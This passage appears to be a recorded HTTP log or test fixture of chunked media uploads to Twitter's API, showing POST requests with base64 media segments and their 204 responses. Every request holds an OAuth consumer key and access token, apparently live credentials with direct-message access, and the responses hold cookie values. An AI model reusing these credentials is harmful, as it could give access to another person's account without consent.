font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:14 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:14 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_tpMUx5\/RAV51Bx59IdY\/gw==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:14 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786113496693119; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:14 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "8bf9af9b89a23d85eea3c29445ce071f", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19915", - "x-rate-limit-reset": "1587864356", - "x-response-time": "37", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00bd7956002507fa", - "x-tsa-request-body-time": "96", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"H53XamprFVR96a%2FINJAQajhT1Pk%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=4ZLLy8s1hOnXq1uvdnftHODua0Tu69Wnx%2F7XpPXou%2B%2FzEm%2FJ8f8pP7%2FEWWb5PP5yr%2BDspk%2FzYi4i%2B57lv8EOe95f%2FXvE%2FCOvRWlv89jNtr3aEZV7Ln9X%2BryXfkImfd33XmF4yIXF%2BpWmXv%2BhEEvk3ftWu1Z2hZGQfo25J4I8noqq1xl3%2BrS%2Bixd9%2BmtS7lFO%2F8vQQ9KVyej67mXuGS8nf7NM%2B7L%2F4jLZO2Rn6wXV%2Buq9e%2BaT1i%2FX1XLct9yP3ryiHfL4Iyq15VavJ6LqvXpcrk3kv8mVLUunXho8ogL6xV0%2FJ6HVLRNDom1%2BrfrBWXrJGCYpfr19q9wrJ66lgAAAAf1BmkCQKgV%2FoXlPc3EK9aE%2FGf5fX%2F%2FnVOl69eCz%2Brj%2FAt1aud1fasSc181dKZpfVpOf5Vetlq6n6ly76vbV7te7iPWUlq5cEPusV333flkEicb03fJ1a4dq8pP7%2F%2Blb9XdrUtx%2FrsXNV2ry7rh%2BrsdyXa5X6tWqnB%2BrE%2Fr1%2BvS%2BhEpqJ4Wph0TLRBf%2BJ6uvXr9WK9WK9WBPXrvv5llJOvfEVcvq8XfaxX61Jy%2B1EXXExdrlXojlWsX6wS%2Bidc6PB3J6lS7WKW%2B5NKJ9XKu7rykU2ZPRd01VerRFqy7Wq8xCv5bt%2B5u7ivRZVdc0uqu7XKTxZJTretLvvuvJb1Xo7lX2sV3GWrdonR7%2Br8R0a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eaT%2F6LqXwsTLjx0uMtrjY71v%2FXlmGUbBnIJvRe8uT1i5ZuaXxZC%2FjY0dYOBn%2BCcmwMZsH3Kk6y%2F3%2F6EuKnz1%2BMpj%2FMTm%2Fwj5NMlv%2BOHWgO3%2By4cvJ%2BzctP0WLb8t%2FrUX69J6Jlk9V3wT0CWkrLbV5CshmnXmIPxOQmbOK5f%2FlV%2B3bJD3%2BbEK%2BrrwzoZaRL45CqS4f3qXrynTdjnnriK9e%2FVpyfv%2BMFMRfwgzlu5WOEzlLWvZZDZDQ%2B8CNr0bE33jnvV%2FfeTy7XryFbHInR7BD6pObfq6uJtcv0Xr9ev1avWK7IayMnTu8FcV%2Bf7y9z54O%2Bwne%2B29e%2FLRprBMXd8tLDfZjNz%2Fu7OVZrboD%2FYY81GCml%2Bp%2BQfOMHDUz7LJK%2FJbRevtW7%2FXpfVnrXq2q%2FsxuOkTfYal%2FWH0u7%2FsvHzGl9fnruWP0%2BUpWEVvaNrsEhM%2F6yefVWUu5YK%2BwkfnstCmPV4k1jhx0IVbsPen0Vxus4mT16TiLvsEIl32NevfffffYTFa2SK%2FbPRX2Q3N9996etP9mjZonOMHZdJ9viqsNwtQF7ITQtrGaCpDGYdvE%2F%2FXnj0%3D&media_id=1254206535166763008&segment_index=38" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:15 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:15 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_v3OssqeHwG9jy9hbFiD3aw==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:15 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786113560974517; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:15 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "581857da964c7c95c997af1b298c5f7c", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19914", - "x-rate-limit-reset": "1587864356", - "x-response-time": "28", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00ae1517009a6253", - "x-tsa-request-body-time": "77", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"tCBERbELTX4OGh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VfdIxHdXu8hcsK9Ux%2BGiPuvsw7F38l%2Fk400NLq9vnqXdPzP6R0k%2FouVM%2B1yKuV5fuhD%2BX2evoJs%2B%2B%2Fz1%2BhJm36u%2BmV7xHuQlver9%2BXl931ZKN0pPz%2F%2Ffd1aEuFzUKz4qlbz5sQq9YqSX1s1%2BryClfhDJuQlm792ZJP%2BW78AAAhtQZpFkWoFcnFdF3UhPX69VU2111axV69VXfMb%2F%2Bsb475O1i4Jeiu64ru7u6tTJNkm8Ie9b0ev4PzXKvfgklHnYJA8ve7Vvi17FeO3OCulMna9VCdBLsPt%2BSsv1%2BuXzVoRV1cpf3vPX4371viMYe%2BQPman6yo8EstludAvuxvbSC8wzmhHn1tVOs1%2FX4ItxlvbhCyfdf%2Fh%2BzhwZrp0VIpffQqd20gfjRI%3D&media_id=1254206535166763008&segment_index=39" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:16 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:16 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_XFZqN0hLumLDGyS7QRh3jA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:16 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786113624207302; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:16 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "11f90319f8e6ffa9b90c699b67ceaeb0", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19913", - "x-rate-limit-reset": "1587864356", - "x-response-time": "38", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00b5d028003c5e89", - "x-tsa-request-body-time": "66", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"3hAPCbV0ZqoOz6k3FLpOlUfkbH0%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=Z1HmD%2FkqPlff6v83V8V0Z3zE93asr16XVev1YviLy%2F0bL85mPl0u62%2Fa5xAuY1arv7bmkXfto%2Bvkr0TvCDu1dXr74n4T%2BarsUT%2BvROyXWvXZ6lwLZf9S3XfJy3eKJ%2BK%2FXqh35plzcuieSvdr3po506iDMfIn8Xcs8faP%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Xqur7WLur%2BWrXqyeFOtOsVMRnjr0vzTz4%3D&media_id=1254206535166763008&segment_index=40" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:16 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:16 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_B+U5CBri0wLopheYxCA+Qg==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:16 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786113689601206; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:16 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "bd4faddebcadd8a630c4157c84ff8462", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19912", - "x-rate-limit-reset": "1587864356", - "x-response-time": "38", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "0038f9c800bb6c95", - "x-tsa-request-body-time": "63", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"ygio3ywPYDgPQxoXkiEzieIks9o%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=fKjNo4CpcnuQuSp5wceSGp4SvpUMnovqFL3%2BsVS99%2FEr18q5VlrB2rH61L6tXr3OciqWfHNfJ%2BtP2Iw9i%2BsEv9%2BZAhox1rhnRgl8yJewzjQQNwJX6ufsk%2BNmTVHrEUg3PR9TGhwF%2F%2F8fbtDJc72UxG%2FcEdBjfN7H4b5bQTuR42%2B%2F6tF93d30ua7qmltWvlVy7rL76zimPjat31%2FXlyKOrsNibvW1Lf5M9fHJ2fV4ISDpc33GCGrR6u5vXLp%2F1lEevSzq1VWT7hf%2Fb0hUvc518%2Bt%2FzkX0hkz9v9oSfSevdr1dL2OJuumlu8uT17lXq9fVfgv6cGHsEZkDSlDAXSbE%2FovVanvE%2B%2FVeq1Yq168I1Ok91fcm0bgP%2BloCk%2B%2FThEp8uFzusu9MjQkZOomXiUNemR3u1y%2BarViSeS1ZJavd%2FrUsurdEw07QK%2B0nm1uWlMomHYKpBE%2BlN7CCpLzjjghZyDWT1%2FSdQRYE0l3pOiv2HDZB4Pz0V2k01St19iYeMszMqihKFYaJRPLd9%2Fo9VaxSWrp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4X9ftMJymLBwnVJxt33wKPfB7fovVqveTXr12sXL2sVeinuaDRkcqRNWZVK%2F1LglwCB%2BsB8MLVW336v906zhrZPyQ%2BmpTPS5mHrBgCPnKzsD%2FDpOWmfLn5IvQ9huOslrLiUpkbM%2B0A7Vjk2C6jZDlmWGjOQQk4Lpb09tGDqrl%2BuMXTymK3PhieYy3%2B319uGUVp9fhgT0I9%2ForFk9f%2FurXsnx%2F9%2Fr2O%2BX6sdStXq3c1S%2B%2FXu17tGi6zzpTFvDOc%2FJ4f5xCm0pr%2FfYaLpu8ppFX9YsS%2B%2Bf%2Fghy0fh9hWYVCbhgPxbo7GSiQE5dTeOkM9N7eMI4EtWdCClq5V92vUKJfgi%2Fr44JVbFbcv%2F6sS30T81etfq0TklGcay32hZ07ZHv3Vo7V0vfS9fyc0l%2FNJ69XMr%2FMvVzexHzWT5qvBgbVD2rB%2FZiWpqkr%2FRVieWhaLH08loS9H6778lSpcvf6935PRHff61d3RFX%2Br%2F9%2FnLbJ6P%2BigoEbMJu8lloMG98cuZEWKmeJNe7CQJ0eoZjKDsZgfSZ81oEwNb7qD%2BuP%2FR6sctiRX9rnfrFWJ1RFf8%2Fa97qxV%2Frl7nOz%2FGs7iMrDYrkgLG2zzQdv9SagwvveMEWCHuH6%2FaWoUmH4BpG4SfXM%3D&media_id=1254206535166763008&segment_index=41" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:17 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:17 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_eyevWj4PsKP3R1fBVeLFig==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:17 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786113758739987; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:17 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "831f695e92e64890edbd097ebfd39f84", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19911", - "x-rate-limit-reset": "1587864356", - "x-response-time": "36", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00d83b29000e3a6e", - "x-tsa-request-body-time": "102", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_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1Xrd0LFY0vg0v3J4d25dkWnL%2F6%2FgvLlySg4qX35pjIzUDk9O999KYo2ygOdz%2BT9Tq6PKn3nSs79UTqf4cJbRH68NTi%2BtyCXvRffUkUIoMIWGZc3d%2FE%2F%2BCPkv3qOEzblizRXbdu30TL9et%2FhwpWKHXxGHxfYKyvfd2y0%2BLeuhUEsE6F933vFklXvP5VILJ%2Fb%2BQz2B9o%2FwSmfTOY5cc%3D&media_id=1254206535166763008&segment_index=42" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:18 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:18 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_6+Q4YpPWZXxDcwtJUivN+w==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:18 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786113829532842; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:18 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "1c38c63d94d23ec0e727c6c785c68d0d", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19910", - "x-rate-limit-reset": "1587864356", - "x-response-time": "34", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00216fb1003b89d0", - "x-tsa-request-body-time": "100", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"V7QwdMiNKEu3fWwcR7fkuuy45Es%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=fJ97aqrGTz39FY533e6371f%2BCO78HlKI3uXdtyfEr9nxcs1%2Br%2FxF5QVQGWXjSUCHWX679%2FUFFmYf5iT76nJH3pXe1d%2BVfHquvUXyXz0r33cvoS5JaxVWveXtPXa%2F2rav9fWteK%2FRA2Ku7S%2BGVsf2i9eWjy5V%2F2r99kK9%2B%2Feok45Z9Sj%2Frr%2Bf0LfuVLN%2FonfSOW8I7aT%2BpDT0v37RzgvPVKlfkyE9%2F%2FxVZSQAAAX1QZpKkqoFf6Fv%2BvUX%2F%2BvWu69ev1qKurWD9aviVfnV%2FVWPrpffr6qtal6XK9CZLm9XPf3RrC7z19qODNGnVo71a5dr3PJct3alv1iu%2FdXv1at0R2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MXPRh7jfeT1df7IMxXz6r0VjtFavXpJpekfxsl907ohqAneTxq9NkyBJ9fV2UuIw3kqPLu733Hw1%2BwXFelvHRBGd6lwRm4xRK1ZBmT%2BqPjd99gjPDSJR%2BXZRDe9H7iYwEh3nUc%2FNHr%2BNlxVHkT6Pl3%2Bjwc6Fd6k3fnQltH6vQrvXJ4XieI6myGp1Tw5PXWsOXdrrBF8fj%2F9iS50jrRI68dPR1u%2FRf2eofU%2F%2F%2B3DcO73%2F3uXIY1F9%2BoV22uNjt8KsjV%2Fp8FV6baY6JLjkYxfnBqXH676AbnXnTQrk9NfCOE7hGPsdfP9lsN771JfpBsXIPvr4z3AOa5vJd%2FaEd36l5LpJq%2BSL8ZCAUZQwXhgWI9irzR8fBCbBfDTlwHjDZpF5VcqWOvsdPq0oaYOgW%2B9ROevDctV9FZdyO95PC%2F%2B9jrrVwYFdhj45N7AhrDmycZO2WLLuiMdiJgwGVnP5kFy5%2Ffyanv1KcZp%2B11EmN5sk8zHrWXrXyef7oSxd%2Fq134mi1%2BpG9bJ5idbmCEeBUS6KtWdorOwTXt3s7C5dlve3J77ye%2Bq%2B%2FVmy0fKanUn2hcXYIYfT7O7nuTs32CMVRu76cnJ8v%2Ft%2Btd29TixfJrLvvtCGV6O831F%2B5CQ%2BLzP106slJ9Phkqp2Jj4wgbPQUnh75JWPs0n8n6n9lu2%2Byt6p9nkAw%2FohNJqRGZPbTl%2Bxfmo333z8%2BzyZ88%2FPo3u%2B%2B9uT8Tr%2BTPp%2FoblcVlvv5V7z9Xq9E8XL%2FyefvtjLu%2FRAmd3fSfyo%3D&media_id=1254206535166763008&segment_index=43" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:19 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:19 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_zlVo9sSOOSFMpnzV4U4g6A==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:19 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786113897996441; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:19 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "39c115f6270d073e625b567931d2bd50", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19909", - "x-rate-limit-reset": "1587864356", - "x-response-time": "36", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00ea6b4100dd066f", - "x-tsa-request-body-time": "63", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"ZwZgMZ1fCJvs3wwVfpH2R1JG0Gc%3D\"", - "Expect": null - }, - "body": 